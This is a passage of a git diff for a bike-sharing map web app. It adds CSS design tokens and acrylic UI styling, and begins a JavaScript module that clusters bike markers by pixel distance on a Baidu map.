display: flex; justify-content: space-between; align-items: center; gap: 8px; } + .share-row-email { font-weight: 600; color: var(--text-primary); word-break: break-all; } + .share-row-state { font-size: 12px; color: var(--text-secondary); margin-top: 4px; line-height: 1.5; } + .share-row-state.err { color: var(--danger); } + .share-row-state.ok { color: var(--success); } + .share-row-btns { display: flex; gap: 6px; margin-top: 8px; flex-wrap: wrap; } + .share-mini-btn { font-size: 12px; font-weight: 500; padding: 5px 12px; border-radius: 14px; border: 1px solid var(--border-color); background: var(--bg-card); color: var(--text-primary); cursor: pointer; transition: all .2s; } + .share-mini-btn:hover { border-color: var(--text-tertiary); } + .share-mini-btn:active { transform: scale(0.95); } + .share-mini-btn.primary { background: var(--accent-color); border-color: var(--accent-color); color: var(--accent-contrast); } + .share-mini-btn.primary:hover { background: var(--accent-hover); } + .share-mini-btn.danger { color: var(--danger); border-color: rgba(255,59,48,.4); } + .share-mini-btn.danger:hover { background: rgba(255,59,48,.08); } + .share-pending-box { border: 1px dashed var(--warning); border-radius: var(--radius-md); padding: 8px 12px; margin-bottom: 10px; font-size: 13px; } + .share-pending-box .prow { display: flex; justify-content: space-between; align-items: center; padding: 5px 0; gap: 8px; } + .share-ask-content { width: 350px; text-align: center; } + .share-ask-icon { font-size: 44px; margin-bottom: 10px; } + .share-ask-title { font-size: 18px; font-weight: 700; margin-bottom: 8px; } + .share-ask-desc { font-size: 13px; color: var(--text-secondary); margin-bottom: 16px; line-height: 1.6; word-break: break-all; } + .share-ask-btns { display: flex; gap: 10px; } + .share-ask-btns button { flex: 1; padding: 11px; border-radius: var(--radius-md); border: none; font-size: 14px; font-weight: 600; cursor: pointer; transition: all .2s; } + .share-ask-btns .no { background: var(--bg-secondary); color: var(--text-secondary); border: 1.5px solid var(--border-color); } + .share-ask-btns .no:hover { background: var(--border-color); color: var(--text-primary); } + .share-ask-btns .yes { background: var(--success); color: #fff; } + .share-ask-btns .yes:hover { background: var(--success-press); } + .share-ask-btns button:active { transform: scale(0.96); } + .share-cfg-row { margin-bottom: 12px; font-size: 14px; color: var(--text-primary); } + .share-cfg-row label { display: block; margin-bottom: 5px; font-size: 13px; color: var(--text-secondary); } + .share-cfg-row input[type=number] { width: 100%; padding: 10px 12px; border: 1.5px solid var(--border-color); border-radius: var(--radius-sm); background: var(--bg-secondary); color: var(--text-primary); outline: none; font-size: 14px; box-sizing: border-box; transition: border-color .2s, box-shadow .2s, background .2s; } + .share-cfg-row input[type=number]:focus { border-color: var(--accent-color); background: var(--bg-card); box-shadow: 0 0 0 3px var(--accent-soft); } + .share-cfg-check { display: flex; align-items: center; gap: 8px; padding: 8px 0; font-size: 14px; cursor: pointer; } + .unlock-src-item { display: flex; justify-content: space-between; align-items: center; width: 100%; text-align: left; padding: 11px 12px; margin-bottom: 8px; border: 1.5px solid var(--border-color); border-radius: var(--radius-sm); background: var(--bg-secondary); color: var(--text-primary); font-size: 14px; cursor: pointer; transition: border-color .2s, background .2s, transform .15s; } + .unlock-src-item:hover { border-color: var(--accent-color); background: var(--bg-card); } + .unlock-src-item:active { transform: scale(0.98); } + .unlock-src-item .tag { font-size: 12px; color: var(--success); flex-shrink: 0; margin-left: 8px; } + .unlock-src-item.unavailable { opacity: .55; pointer-events: none; } + .unlock-src-item.unavailable .tag { color: var(--danger); } + .unlock-src-more { text-align: center; font-size: 12px; color: var(--accent-color); cursor: pointer; padding: 6px 0; display: block; } + .share-banner { background: linear-gradient(135deg,#5856D6,#7C4DFF); color: #fff; padding: 10px 16px; display: none; align-items: center; justify-content: space-between; font-size: 13.5px; z-index: 150; flex-shrink: 0; } + .share-banner.show { display: flex; } + .share-banner.rider { background: linear-gradient(135deg,#34C759,#00BFA5); } + .share-banner-btn { background: rgba(255,255,255,.25); border: 1px solid rgba(255,255,255,.4); color: #fff; padding: 5px 12px; border-radius: 14px; font-size: 12.5px; cursor: pointer; flex-shrink: 0; transition: background .2s; } + .share-banner-btn:hover { background: rgba(255,255,255,.35); } + + /* ===== 原生壳(xbniu-native UA)内:弱化套壳感 + 沉浸 ===== */ + /* 整条 header(标题/更新时间/刷新/铃铛)整体隐藏,地图顶到顶部 */ + html.in-native-shell .header { display: none; } + /* 隐藏数据分析卡 */ + html.in-native-shell .stats-card { display: none; } + /* 左上角工具卡片(登录 + 刷新图标),样式对齐图例;JS 已把它放进 #map-container, + 因而与图例同容器、随地图上下,自动位于顶部横幅(用车/订单/共享)下方 */ + html.in-native-shell #native-tools { + position: absolute; + top: 14px; left: 14px; + z-index: 200; + background: var(--ui-acrylic); + -webkit-backdrop-filter: blur(20px) saturate(1.35); + backdrop-filter: blur(20px) saturate(1.35); + border: 1px solid var(--ui-line-strong); + border-radius: var(--radius-md, 12px); + box-shadow: var(--shadow-md); + padding: 6px; + display: flex; + align-items: center; + } + /* 横排:登录/头像钮 + 圆形刷新图标钮(沿用网页端 .refresh-btn 样式) */ + html.in-native-shell #native-tools .native-tools-row { + display: flex; + align-items: center; + gap: 6px; + } + html.in-native-shell #native-tools #auth-btn { position: static; } + html.in-native-shell #native-tools #auth-btn.logged-in { + background: var(--ui-acrylic-soft) !important; + background-image: none !important; + color: var(--text-primary) !important; + border-color: var(--ui-line-strong) !important; + } diff --git a/static/css/ui-system.css b/static/css/ui-system.css new file mode 100644 index 0000000..558e89b --- /dev/null +++ b/static/css/ui-system.css @@ -0,0 +1,731 @@ +/* + * 小白超人统一界面系统 + * Porcelain (#f6f6f4) / Ink (#171719) / Graphite (#71717a) + * 圆角比例:8 / 12 / 16 / 20 / 24px + */ +:root { + color-scheme: light dark; + --ui-canvas: #f6f6f4; + --ui-surface: #fbfbfa; + --ui-surface-raised: #f0f0ee; + --ui-ink: #171719; + --ui-muted: #68686f; + --ui-faint: #929299; + --ui-line: rgba(23, 23, 25, .09); + --ui-line-strong: rgba(23, 23, 25, .15); + --ui-solid: #1c1c1f; + --ui-on-solid: #f8f8f6; + --ui-acrylic: color-mix(in srgb, var(--ui-surface) 68%, transparent); + --ui-acrylic-soft: color-mix(in srgb, var(--ui-surface) 46%, transparent); + --ui-header-acrylic: rgba(251, 251, 250, .64); + --ui-overlay: rgba(12, 12, 14, .52); + --ui-focus: rgba(23, 23, 25, .24); + --ui-shadow-sm: 0 1px 2px rgba(18, 18, 20, .04), 0 8px 24px rgba(18, 18, 20, .05); + --ui-shadow-md: 0 18px 52px rgba(18, 18, 20, .11); + --ui-shadow-lg: 0 32px 90px rgba(18, 18, 20, .16); + --ui-r-sm: 8px; + --ui-r-md: 12px; + --ui-r-lg: 16px; + --ui-r-xl: 20px; + --ui-r-2xl: 24px; + --ui-ease: cubic-bezier(.16, 1, .3, 1); + --ui-fast: 160ms; + --ui-normal: 280ms; +} + +*, *::before, *::after { + box-sizing: border-box; +} + +/* 禁用 WebView 点按高亮(蓝色选中态) */ +* { + -webkit-tap-highlight-color: transparent; +} + +@media (prefers-color-scheme: dark) { + :root { + --ui-canvas: #101011; + --ui-surface: #18181a; + --ui-surface-raised: #222225; + --ui-ink: #f1f1ef; + --ui-muted: #aaaab0; + --ui-faint: #77777f; + --ui-line: rgba(241, 241, 239, .09); + --ui-line-strong: rgba(241, 241, 239, .16); + --ui-solid: #eeeeec; + --ui-on-solid: #151517; + --ui-acrylic: color-mix(in srgb, var(--ui-surface) 68%, transparent); + --ui-acrylic-soft: color-mix(in srgb, var(--ui-surface) 46%, transparent); + --ui-header-acrylic: rgba(238, 238, 236, .07); + --ui-overlay: rgba(3, 3, 4, .68); + --ui-focus: rgba(241, 241, 239, .28); + --ui-shadow-sm: 0 1px 2px rgba(2, 2, 3, .22), 0 10px 28px rgba(2, 2, 3, .18); + --ui-shadow-md: 0 20px 56px rgba(2, 2, 3, .32); + --ui-shadow-lg: 0 36px 100px rgba(2, 2, 3, .46); + } +} + +html { + background: var(--ui-canvas); +} + +body { + color: var(--ui-ink); + background-color: var(--ui-canvas); + -webkit-font-smoothing: antialiased; + text-rendering: optimizeLegibility; + animation: ui-page-in 560ms var(--ui-ease) both; +} + +body::before { + content: ""; + position: fixed; + inset: 0; + z-index: 99999; + pointer-events: none; + opacity: .022; + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='180' height='180'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='.82' numOctaves='3'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)'/%3E%3C/svg%3E"); +} + +body.ui-page-leaving { + animation: ui-page-out 180ms ease-in both; + pointer-events: none; +} + +h1, h2, h3, .header-title, .panel-title { + letter-spacing: -.025em; + text-wrap: balance; +} + +p, .tip, .hint, .auth-subtitle, .lost-modal-subtitle { + text-wrap: pretty; +} + +button, input, select, textarea, a { + -webkit-tap-highlight-color: transparent; +} + +button, [role="button"], a { + transition: color var(--ui-fast) ease, background-color var(--ui-fast) ease, + border-color var(--ui-fast) ease, box-shadow var(--ui-fast) ease, + opacity var(--ui-fast) ease, transform var(--ui-fast) var(--ui-ease); +} + +button:not(:disabled):active, [role="button"]:active { + transform: scale(.975); +} + +button:focus-visible, input:focus-visible, select:focus-visible, +textarea:focus-visible, a:focus-visible, [tabindex]:focus-visible { + outline: 2px solid var(--ui-ink) !important; + outline-offset: 3px !important; + box-shadow: 0 0 0 5px var(--ui-focus) !important; +} + +input, select, textarea { + min-height: 44px; + border-color: var(--ui-line-strong) !important; + border-radius: var(--ui-r-md) !important; + background: var(--ui-surface) !important; + color: var(--ui-ink) !important; +} + +input::placeholder, textarea::placeholder { + color: var(--ui-faint); +} + +button:disabled, input:disabled, select:disabled { + opacity: .46; + cursor: not-allowed; +} + +/* Map + analytics share the same semantic variable names. */ +body { + --bg-primary: var(--ui-canvas); + --bg-secondary: var(--ui-surface-raised); + --bg-card: var(--ui-surface); + --text-primary: var(--ui-ink); + --text-secondary: var(--ui-muted); + --text-tertiary: var(--ui-faint); + --border-color: var(--ui-line); + --accent-color: var(--ui-solid); + --accent-contrast: var(--ui-on-solid); + --accent-hover: color-mix(in srgb, var(--ui-solid) 82%, var(--ui-canvas)); + --accent-soft: color-mix(in srgb, var(--ui-solid) 9%, transparent); + --overlay: var(--ui-overlay); + --shadow-sm: var(--ui-shadow-sm); + --shadow-md: var(--ui-shadow-md); + --shadow-lg: var(--ui-shadow-lg); + --shadow-up: 0 -18px 52px rgba(18, 18, 20, .09); + --radius-sm: var(--ui-r-sm); + --radius-md: var(--ui-r-md); + --radius-lg: var(--ui-r-lg); + --radius-xl: var(--ui-r-xl); + --transition: var(--ui-normal) var(--ui-ease); + --ease-spring: var(--ui-ease); +} + +/* App chrome */ +.header { + border-color: var(--ui-line) !important; + background: color-mix(in srgb, var(--ui-canvas) 86%, transparent) !important; + backdrop-filter: blur(18px) saturate(1.25); + -webkit-backdrop-filter: blur(18px) saturate(1.25); +} + +.header-title, h1 { + font-weight: 720 !important; +} + +.header-sub, .stat-label, .stat-sub, .tip, .hint { + color: var(--ui-muted) !important; +} + +.stats-card, .stat-card, .panel, table, .container, +.bike-card, .auth-content, .bell-content, .qr-content, .return-content, +.token-expired-content, .return-confirm-content, .unlock-confirm-content, +.lost-modal-content, .login-gate-card, .modal { + background: var(--ui-surface) !important; + border: 1px solid var(--ui-line) !important; + box-shadow: var(--ui-shadow-sm) !important; +} + +.stats-card, .panel, table { border-radius: var(--ui-r-lg) !important; } +.stat-card { border-radius: var(--ui-r-md) !important; } +.bike-card, .auth-content, .bell-content, .qr-content, .return-content, +.token-expired-content, .return-confirm-content, .unlock-confirm-content, +.lost-modal-content, .login-gate-card, .modal { + border-radius: var(--ui-r-xl) !important; + box-shadow: var(--ui-shadow-lg) !important; +} + +.stats-analysis-btn, .header-btn, .header-back, .auth-close, .qr-close, +.bike-card-close, .bike-card-find-btn { + border: 1px solid var(--ui-line) !important; + background: var(--ui-surface) !important; + color: var(--ui-ink) !important; + box-shadow: none !important; +} + +.stats-analysis-btn:hover, .header-btn:hover, .header-back:hover, +.auth-close:hover, .qr-close:hover, .bike-card-close:hover, +.bike-card-find-btn:hover { + border-color: var(--ui-line-strong) !important; + background: var(--ui-surface-raised) !important; +} + +.auth-submit:not(.danger):not(.warning):not(.success), +.return-confirm-btn.confirm, .unlock-confirm-btn.confirm, +.lost-modal-btn.confirm, .btn-primary, .btn-cancel, +.progress-fill:not(.done), #confirm-btn { + border-color: transparent !important; + background: var(--ui-solid) !important; + color: var(--ui-on-solid) !important; + box-shadow: none !important; +} + +.auth-submit:not(.danger):not(.warning):not(.success):hover, +.return-confirm-btn.confirm:hover, .unlock-confirm-btn.confirm:hover, +.lost-modal-btn.confirm:hover, .btn-primary:hover, .btn-cancel:hover, +#confirm-btn:hover { + background: color-mix(in srgb, var(--ui-solid) 84%, var(--ui-canvas)) !important; +} + +.auth-submit.ghost, .return-confirm-btn.cancel, .unlock-confirm-btn.cancel, +.lost-modal-btn.cancel, .btn-gray, .btn-close, .btn-secondary { + border: 1px solid var(--ui-line) !important; + background: var(--ui-surface-raised) !important; + color: var(--ui-ink) !important; +} + +.tab-nav, .tabs, .filter-bar, .info, .log { + border: 1px solid var(--ui-line) !important; + background: var(--ui-surface-raised) !important; + box-shadow: none !important; +} + +.tab-nav, .tabs { border-radius: var(--ui-r-md) !important; padding: 4px !important; } +.tab-btn, .tab { border-radius: var(--ui-r-sm) !important; color: var(--ui-muted) !important; } +.tab-btn.active, .tab.active { + background: var(--ui-surface) !important; + color: var(--ui-ink) !important; + box-shadow: 0 1px 4px rgba(18, 18, 20, .08) !important; +} + +.panel-title::before { background: var(--ui-ink) !important; } +.stat-value { color: var(--ui-ink) !important; font-variant-numeric: tabular-nums; } + +/* Data tables */ +table { overflow: clip; } +th { + background: var(--ui-surface-raised) !important; + color: var(--ui-muted) !important; + letter-spacing: .02em; +} +th, td { border-color: var(--ui-line) !important; } +tbody tr { transition: background-color var(--ui-fast) ease; } +tbody tr:hover { background: color-mix(in srgb, var(--ui-ink) 3.5%, transparent) !important; } +td .mono, td:nth-child(n+2) { font-variant-numeric: tabular-nums; } + +/* Overlays use visibility rather than display so removing .show animates out. */ +.auth-modal, .bell-modal, .qr-modal, .return-modal, .token-expired-modal, +.return-confirm-modal, .unlock-confirm-modal, .lost-modal, .login-gate, +.modal-overlay { + display: flex !important; + opacity: 0; + visibility: hidden; + pointer-events: none; + background: var(--ui-overlay) !important; + transition: opacity 200ms ease, visibility 0s linear 200ms; +} + +.auth-modal.show, .bell-modal.show, .qr-modal.show, .return-modal.show, +.token-expired-modal.show, .return-confirm-modal.show, +.unlock-confirm-modal.show, .lost-modal.show, .login-gate.show, +.modal-overlay.show { + opacity: 1; + visibility: visible; + pointer-events: auto; + transition: opacity 220ms ease, visibility 0s; +} + +.auth-modal > *, .bell-modal > *, .qr-modal > *, .return-modal > *, +.token-expired-modal > *, .return-confirm-modal > *, +.unlock-confirm-modal > *, .lost-modal > *, .login-gate > *, +.modal-overlay > * { + opacity: 0; + transform: translateY(14px) scale(.985); + transition: opacity 180ms ease, transform 300ms var(--ui-ease); +} + +.auth-modal.show > *, .bell-modal.show > *, .qr-modal.show > *, +.return-modal.show > *, .token-expired-modal.show > *, +.return-confirm-modal.show > *, .unlock-confirm-modal.show > *, +.lost-modal.show > *, .login-gate.show > *, .modal-overlay.show > * { + opacity: 1; + transform: translateY(0) scale(1); +} + +.card-overlay { + display: block !important; + opacity: 0; + visibility: hidden; + pointer-events: none; + transition: opacity 200ms ease, visibility 0s linear 200ms; +} +.card-overlay.show { + opacity: 1; + visibility: visible; + pointer-events: auto; + transition-delay: 0s; +} + +.toast { + border: 1px solid var(--ui-line) !important; + border-radius: var(--ui-r-md) !important; + box-shadow: var(--ui-shadow-md) !important; +} + +/* Admin */ +body:has(.tabs) { + --bg: var(--ui-canvas); + --card: var(--ui-surface); + --text: var(--ui-ink); + --sec: var(--ui-muted); + --border: var(--ui-line); + --accent: var(--ui-solid); + padding: 28px clamp(16px, 3vw, 40px) !important; +} + +body:has(.tabs) > .header, +body:has(.tabs) > .stats, +body:has(.tabs) > .tabs, +body:has(.tabs) > .tab-content { + max-width: 1440px; + margin-left: auto; + margin-right: auto; +} + +body:has(.tabs) > .header { + position: relative; + padding: 0 0 20px !important; + background: transparent !important; + backdrop-filter: none; +} + +.stats { gap: 10px !important; } +.stat-card .num { letter-spacing: -.035em; font-variant-numeric: tabular-nums; } +.filter-bar { border-radius: var(--ui-r-md) !important; padding: 10px !important; } + +/* Ring progress page */ +body:has(#progress-fill) { + background: var(--ui-canvas) !important; + color: var(--ui-ink) !important; +} + +body:has(#progress-fill) .container { + max-width: 460px; + padding: 30px !important; + border-radius: var(--ui-r-2xl) !important; + box-shadow: var(--ui-shadow-lg) !important; +} + +body:has(#progress-fill) .header { + background: transparent !important; + backdrop-filter: none; + border: 0 !important; +} + +body:has(#progress-fill) .stat { + background: var(--ui-surface-raised) !important; + border: 1px solid var(--ui-line); + border-radius: var(--ui-r-md) !important; +} +body:has(#progress-fill) .stats { + grid-template-columns: repeat(3, minmax(0, 1fr)) !important; +} + +body:has(#progress-fill) .stat-value:not(.success):not(.failed) { color: var(--ui-ink) !important; } +body:has(#progress-fill) .stat-label, +body:has(#progress-fill) .header p, +body:has(#progress-fill) .log { color: var(--ui-muted) !important; } +body:has(#progress-fill) .progress-bar { + height: 12px !important; + border: 1px solid var(--ui-line); + border-radius: 999px !important; + background: var(--ui-surface-raised) !important; +} +body:has(#progress-fill) .progress-fill { + min-width: 0; + border-radius: 999px !important; + color: var(--ui-on-solid) !important; + transition: width 400ms var(--ui-ease) !important; +} +body:has(#progress-fill) .log { border-radius: var(--ui-r-md) !important; } + +/* Email return page */ +body:has(#return-form), body:has(> #card) { + background: var(--ui-canvas) !important; +} + +body:has(> #card) > .card { + background: var(--ui-surface) !important; + border: 1px solid var(--ui-line) !important; + border-radius: var(--ui-r-2xl) !important; + box-shadow: var(--ui-shadow-lg) !important; + backdrop-filter: none !important; +} + +body:has(> #card) .brand { color: var(--ui-muted) !important; letter-spacing: .08em; } +body:has(> #card) .icon { + background: var(--ui-surface-raised) !important; + color: var(--ui-ink) !important; + border: 1px solid var(--ui-line); + border-radius: var(--ui-r-lg) !important; +} +body:has(> #card) h1 { color: var(--ui-ink); } +body:has(> #card) p, body:has(> #card) .label { color: var(--ui-muted) !important; } +body:has(> #card) .info { border-radius: var(--ui-r-lg) !important; } +body:has(> #card) .row { border-color: var(--ui-line) !important; } + +/* Standalone authentication page */ +.auth-page { + min-height: 100dvh; + display: grid; + place-items: center; + padding: 24px; + background: var(--ui-canvas) !important; +} + +.login-box { + width: min(100%, 380px); + padding: 32px; + border: 1px solid var(--ui-line); + border-radius: var(--ui-r-2xl); + background: var(--ui-surface); + box-shadow: var(--ui-shadow-lg); + animation: ui-rise-in 520ms var(--ui-ease) both; +} + +.login-mark { + width: 48px; + height: 48px; + display: grid; + place-items: center; + margin-bottom: 24px; + border: 1px solid var(--ui-line); + border-radius: var(--ui-r-lg); + background: var(--ui-surface-raised); + color: var(--ui-ink); + font-size: 17px; + font-weight: 760; +} + +.login-box h1 { + margin: 0; + color: var(--ui-ink); + font-size: 24px; + line-height: 1.15; +} + +.login-subtitle { + margin: 8px 0 24px; + color: var(--ui-muted); + font-size: 14px; +} + +.login-box label { + display: block; + margin: 16px 0 7px; + color: var(--ui-muted); + font-size: 13px; + font-weight: 600; +} + +.login-box input { + width: 100%; + padding: 11px 13px; + font-size: 15px; +} + +.login-box button { + width: 100%; + min-height: 46px; + margin-top: 24px; + border: 0; + border-radius: var(--ui-r-md); + background: var(--ui-solid); + color: var(--ui-on-solid); + font-size: 15px; + font-weight: 680; + cursor: pointer; +} + +.login-box button:hover { + background: color-mix(in srgb, var(--ui-solid) 84%, var(--ui-canvas)); +} + +.form-error { + margin: 18px 0 2px; + padding: 11px 13px; + border: 1px solid color-mix(in srgb, var(--danger, #d93b35) 28%, transparent); + border-radius: var(--ui-r-md); + background: color-mix(in srgb, var(--danger, #d93b35) 10%, transparent); + color: var(--danger, #d93b35); + font-size: 13px; + line-height: 1.5; +} + +.panel-title::before { display: none !important; } + +/* Acrylic map chrome: one material recipe across browser and native WebView. */ +html:not(.in-native-shell) .header { + background: var(--ui-header-acrylic) !important; + border-color: var(--ui-line-strong) !important; + box-shadow: var(--ui-shadow-sm) !important; + -webkit-backdrop-filter: blur(24px) saturate(1.4) !important; + backdrop-filter: blur(24px) saturate(1.4) !important; +} + +.legend, +html.in-native-shell .bike-card { + background: var(--ui-acrylic) !important; + border-color: var(--ui-line-strong) !important; + -webkit-backdrop-filter: blur(20px) saturate(1.35) !important; + backdrop-filter: blur(20px) saturate(1.35) !important; +} + +/* 原生壳:native-tools 卡壳保留,材质换成顶部栏同款透明亚克力 */ +html.in-native-shell #native-tools { + background: var(--ui-header-acrylic) !important; + border-color: var(--ui-line-strong) !important; + -webkit-backdrop-filter: blur(24px) saturate(1.4) !important; + backdrop-filter: blur(24px) saturate(1.4) !important; +} + +/* Keep the legend pinned to the viewport, with breathing room below the web header. */ +.legend { + position: absolute !important; + top: 14px !important; + right: 14px !important; +} + +/* Analysis card uses the same translucent acrylic recipe in browser and native shell. */ +.stats-card { + background: var(--ui-acrylic) !important; + border-color: var(--ui-line-strong) !important; + box-shadow: var(--ui-shadow-md) !important; + -webkit-backdrop-filter: blur(20px) saturate(1.35) !important; + backdrop-filter: blur(20px) saturate(1.35) !important; +} + +/* 图例、数据分析卡、版本号、找车按钮、底部扫码栏、车牌输入框与顶部栏同一亚克力材质(浏览器与原生壳统一) */ +.legend, +.stats-card, +.version-badge, +.locate-fab, +.scan-bar, +.scan-input { + background: var(--ui-header-acrylic) !important; + border-color: var(--ui-line-strong) !important; + -webkit-backdrop-filter: blur(24px) saturate(1.4) !important; + backdrop-filter: blur(24px) saturate(1.4) !important; +} + +/* 车牌输入框 placeholder 用图例文字同款灰(--ui-muted),深浅色自适应 */ +.scan-input::placeholder { + color: var(--ui-muted) !important; +} + +html.in-native-shell #native-tools #auth-btn.logged-in { + background: var(--ui-acrylic-soft) !important; + background-image: none !important; + color: var(--ui-ink) !important; + border: 1px solid var(--ui-line-strong) !important; + box-shadow: inset 0 1px 0 color-mix(in srgb, var(--ui-ink) 7%, transparent), + var(--ui-shadow-sm) !important; + -webkit-backdrop-filter: blur(18px) saturate(1.3) !important; + backdrop-filter: blur(18px) saturate(1.3) !important; +} + +html.in-native-shell .scan-input { + background: var(--ui-acrylic-soft) !important; + border-color: var(--ui-line-strong) !important; +} + +/* Keep the map as a full-viewport underlay so translucent chrome always reveals map tiles. */ +#map-container { + position: relative; + z-index: 0; + background: transparent !important; +} + +#baidu_map { + position: fixed !important; + inset: 0 !important; + width: 100% !important; + height: 100% !important; + z-index: 0; +} + +.header, +.order-banner, +.auth-expiry-banner, +#share-banners, +.rental-bar, +.scan-bar { + position: relative; +} + +#share-banners { + z-index: 150; +} + +@media (max-width: 480px) { + .legend { top: 10px !important; right: 10px !important; } +} + +/* Semantic acrylic status banners keep the map visible without losing meaning. */ +.rental-bar, +.order-banner, +.auth-expiry-banner, +.share-banner { + color: #fbfbfa !important; + border-bottom: 1px solid rgba(255, 255, 255, .22); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .18), var(--ui-shadow-sm); + -webkit-backdrop-filter: blur(20px) saturate(1.45) !important; + backdrop-filter: blur(20px) saturate(1.45) !important; +} + +.rental-bar, +.order-banner { + background: rgba(198, 80, 0, .56) !important; +} + +/* 登录态到期提醒:临近用琥珀色,不足 1 天转红 */ +.auth-expiry-banner { + background: rgba(186, 104, 0, .62) !important; +} + +.auth-expiry-banner.urgent { + background: rgba(218, 32, 55, .62) !important; +} + +.order-banner.warning { + background: rgba(218, 32, 55, .60) !important; +} + +.order-banner.riding { + background: rgba(0, 82, 168, .56) !important; +} + +.share-banner { + background: rgba(72, 59, 164, .56) !important; +} + +.share-banner.rider { + background: rgba(0, 115, 85, .56) !important; +} + +.rental-bar-btn, +.order-banner-btn, +.auth-expiry-banner-btn, +.share-banner-btn { + color: #fbfbfa !important; + background: rgba(255, 255, 255, .14) !important; + border-color: rgba(255, 255, 255, .34) !important; + -webkit-backdrop-filter: blur(12px) saturate(1.25); + backdrop-filter: blur(12px) saturate(1.25); +} + +.rental-bar-btn:hover, +.order-banner-btn:hover, +.auth-expiry-banner-btn:hover, +.share-banner-btn:hover { + background: rgba(255, 255, 255, .22) !important; +} + +/* Layered reveal is limited to primary content groups. */ +.stats-grid > *, .stats > *, .panel, body:has(#progress-fill) .container, +body:has(> #card) > .card { + animation: ui-rise-in 520ms var(--ui-ease) both; +} +.stats-grid > *:nth-child(2), .stats > *:nth-child(2) { animation-delay: 45ms; } +.stats-grid > *:nth-child(3), .stats > *:nth-child(3) { animation-delay: 90ms; } +.stats-grid > *:nth-child(4), .stats > *:nth-child(4) { animation-delay: 135ms; } +.stats-grid > *:nth-child(n+5), .stats > *:nth-child(n+5) { animation-delay: 180ms; } + +@keyframes ui-page-in { + from { opacity: 0; transform: translateY(5px); } + to { opacity: 1; transform: translateY(0); } +} + +@keyframes ui-page-out { + from { opacity: 1; transform: translateY(0); } + to { opacity: 0; transform: translateY(-4px); } +} + +@keyframes ui-rise-in { + from { opacity: 0; transform: translateY(12px); } + to { opacity: 1; transform: translateY(0); } +} + +@media (max-width: 640px) { + body:has(.tabs) { padding: 18px 12px !important; } + body:has(.tabs) h1 { font-size: 22px !important; } + .stats { grid-template-columns: repeat(2, minmax(0, 1fr)) !important; } + .stats-card, .panel { border-radius: var(--ui-r-md) !important; } + body:has(#progress-fill) .container, + body:has(> #card) > .card { padding: 24px !important; } +} + +@media (prefers-reduced-motion: reduce) { + *, *::before, *::after { + scroll-behavior: auto !important; + animation-duration: .01ms !important; + animation-iteration-count: 1 !important; + transition-duration: .01ms !important; + transition-delay: 0s !important; + } + body, body.ui-page-leaving { transform: none !important; opacity: 1 !important; } +} diff --git a/static/js/bike-clusters.js b/static/js/bike-clusters.js new file mode 100644 index 0000000..f30db26 --- /dev/null +++ b/static/js/bike-clusters.js @@ -0,0 +1,309 @@ +/* Numeric coordinates, pixel-distance clustering and native, cross-fading overlays. */ +(function (root) { + 'use strict'; + + // BMapGL's top three levels (19, 20, 21) always show individual bikes. + const SINGLE_BIKE_ZOOM = 19; + const PREFERENCE_KEY = 'xbniu_map_clustering'; + + function readClusteringPreference(storage) { + try { return storage.getItem(PREFERENCE_KEY) !== 'false'; } + catch (error) { return true; } + } + + function writeClusteringPreference(storage, enabled) { + try { storage.setItem(PREFERENCE_KEY, String(!!enabled)); return true; } + catch (error) { return false; } + } + + function coordinate(value, limit) { + if (typeof value !== 'number' && typeof value !== 'string') return null; + if (typeof value === 'string' && !value.trim()) return null; + const n = Number(value); + return Number.isFinite(n) && Math.abs(n) <= limit ? n : null; + } + + function normalizeBikes(bikes) { + return (bikes || []).flatMap(bike => { + if (!bike) return []; + const latitude = coordinate(bike.latitude, 90); + const longitude = coordinate(bike.longitude, 180); + if (latitude === null || longitude === null || (latitude === 0 && longitude === 0)) return []; + return [{ ...bike, latitude, longitude, state: Number(bike.state), status: Number(bike.status) }]; + }); + } + + function bikeId(bike) { + return String(parseInt(bike.code, 10) || bike.code || bike.id || `${bike.latitude},${bike.longitude}`); + } + + // Look in neighbouring spatial buckets, then measure an actual pixel radius. + // Anchors stay fixed during each pass: a chain of cars cannot swallow the campus. + // Sorting by ID makes results independent of response order and map panning. + function clusterBikes(bikes, project, getPoint, getState, radius = 64, selectedId = null, zoom = 0, enabled = true) { + const buckets = new Map(); + const groups = []; + const clusteringEnabled = enabled && zoom < SINGLE_BIKE_ZOOM; + const sorted = normalizeBikes(bikes).sort((a, b) => bikeId(a).localeCompare(bikeId(b), 'en')); + sorted.forEach(bike => { + const point = getPoint(bike); + if (!point || !Number.isFinite(point.lat) || !Number.isFinite(point.lng)) return; + const pixel = project(point); + if (!pixel || !Number.isFinite(pixel.x) || !Number.isFinite(pixel.y)) return; + const id = bikeId(bike); + const gx = Math.floor(pixel.x / radius), gy = Math.floor(pixel.y / radius); + let nearest = null, distance = radius * radius; + if (clusteringEnabled && id !== String(selectedId)) { + for (let x = gx - 1; x <= gx + 1; x++) { + for (let y = gy - 1; y <= gy + 1; y++) { + (buckets.get(`${x}:${y}`) || []).forEach(group => { + const d = (group.x - pixel.x) ** 2 + (group.y - pixel.y) ** 2; + if (d < distance) { nearest = group; distance = d; } + }); + } + } + } + if (!nearest) { + nearest = { x: pixel.x, y: pixel.y, members: [], lat: 0, lng: 0 }; + groups.push(nearest); + if (clusteringEnabled && id !== String(selectedId)) { + const key = `${gx}:${gy}`; + if (!buckets.has(key)) buckets.set(key, []); + buckets.get(key).push(nearest); + } + } + nearest.members.push(bike); + nearest.lat += point.lat; + nearest.lng += point.lng; + }); + return groups.map(group => { + const count = group.members.length; + const ids = group.members.map(bikeId); + return { + key: `${count === 1 ? 'bike' : 'cluster'}:${ids.join(',')}`, ids, + members: group.members, count, + point: { lat: group.lat / count, lng: group.lng / count }, + available: group.members.filter(bike => getState(bike) === 'available').length, + size: count === 1 ? 36 : Math.min(72, 48 + Math.log2(count) * 3), + offset: { x: 0, y: 0 } + }; + }); + } + + function createLayer(options) { + const { map, getPoint, getState, getIcon, onBikeClick } = options; + const layer = document.createElement('div'); + layer.className = 'bike-bubble-layer'; + // Native overlay pixels and the SDK's pane share the same camera transform. + // Screen pixels in a sibling DOM layer can lag behind a reverse zoom. + function BubbleOverlay() {} + BubbleOverlay.prototype = new BMapGL.Overlay(); + const overlay = new BubbleOverlay(); + overlay.initialize = () => { + map.getPanes().labelPane.appendChild(layer); + return layer; + }; + overlay.draw = () => { records.forEach(position); }; + const motionQuery = window.matchMedia('(prefers-reduced-motion: reduce)'); + let records = new 